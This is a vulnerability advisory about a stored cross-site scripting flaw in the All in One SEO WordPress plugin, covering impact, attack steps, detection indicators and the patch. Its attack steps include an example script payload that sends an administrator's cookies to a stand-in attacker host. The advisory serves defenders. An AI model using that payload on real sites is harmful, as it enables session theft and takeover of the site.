CVE-2026-82884: 
WordPress vulnerability analysis and mitigation

CVE-2026-82884 is a Stored Cross-Site Scripting (XSS) vulnerability in the All in One SEO WordPress plugin affecting all versions before 5.0.0.1. The flaw allows authenticated users with the Contributor role or higher to inject malicious scripts into post content via the ai-assistant block, which execute when a higher-privileged user (e.g., Editor or Administrator) opens the post in the editor. It was publicly disclosed on September 1–2, 2026, and assigned a CVSS v3.1 base score of 6.8 (Medium) (WPScan, GitHub Advisory).

The root cause is improper input sanitization and output escaping (CWE-79) — the plugin fails to sanitize and escape content stored in posts before rendering it back in the WordPress post editor. An attacker with at least Contributor-level access crafts a malicious payload within the ai-assistant block of a post; the unsanitized content is stored in the database and later rendered in the editor context of a higher-privileged user, triggering script execution. Exploitation requires network access, low attack complexity, high privileges (Contributor+), and user interaction from a privileged user opening the post. A proof-of-concept is scheduled for public release on September 15, 2026, to allow time for patching (WPScan, GitHub Advisory).

Successful exploitation allows a Contributor-level attacker to execute arbitrary JavaScript in the browser session of an Editor or Administrator when they edit the affected post. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts, installing malicious plugins, or modifying site content), and full site compromise. The CVSS assessment rates confidentiality, integrity, and availability impacts all as High, reflecting the potential for total takeover of the WordPress instance (WPScan, GitHub Advisory).

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation; WPScan has indicated the PoC will be published on September 15, 2026 (WPScan). The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, as it requires a privileged user to interact with the malicious post. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (GitHub Advisory).

1. Gain Contributor Access: Obtain or register a WordPress account with at least the Contributor role on the target site running All in One SEO plugin version prior to 5.0.0.1.
2. Create or Edit a Post: Navigate to the WordPress post editor and create a new post or edit an existing one.
3. Insert Malicious Payload via ai-assistant Block: Add the ai-assistant block provided by the All in One SEO plugin and inject a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the block's content field, exploiting the lack of sanitization.
4. Submit the Post: Save or submit the post for review. The malicious payload is stored unsanitized in the WordPress database.
5. Wait for Privileged User Interaction: When an Editor or Administrator opens the post in the WordPress editor, the stored payload is rendered without escaping, triggering JavaScript execution in their browser session.
6. Achieve Objective: The executed script can exfiltrate session cookies, perform authenticated API calls to create admin accounts, install plugins, or perform other privileged actions on behalf of the victim (WPScan).

• Logs: WordPress access logs showing POST requests to /wp-admin/post.php or REST API endpoints (e.g., /wp-json/wp/v2/posts) from Contributor-level accounts containing script tags or encoded JavaScript payloads in the request body.
• Database: Presence of unsanitized <script> tags or JavaScript event handlers (e.g., onerror, onload) within post content or post meta fields associated with the ai-assistant block in the wp_posts or wp_postmeta tables.
• Network: Outbound HTTP requests from administrator browsers to unexpected external domains shortly after editing a post (indicative of cookie/credential exfiltration).
• Logs: WordPress authentication logs showing new administrator account creation or plugin installation events following a privileged user editing a post authored by a low-privileged contributor.
• File System: Unexpected new plugin files or modified theme files that could indicate follow-on actions taken after session hijacking (WPScan).

The vendor has released a patch in All in One SEO version 5.0.0.1, which adds proper sanitization and escaping of post content before rendering in the editor. Site administrators should update the plugin to version 5.0.0.1 or later immediately. As interim mitigations: restrict the Contributor role to only fully trusted users, implement Content Security Policy (CSP) headers to limit script execution, and monitor post editing activity for suspicious changes (WPScan, GitHub Advisory).

The vulnerability was discovered and reported by security researcher Asaf Mozes and verified by WPScan. No significant broader media coverage or notable community commentary beyond the standard vulnerability disclosure has been identified at this time (WPScan).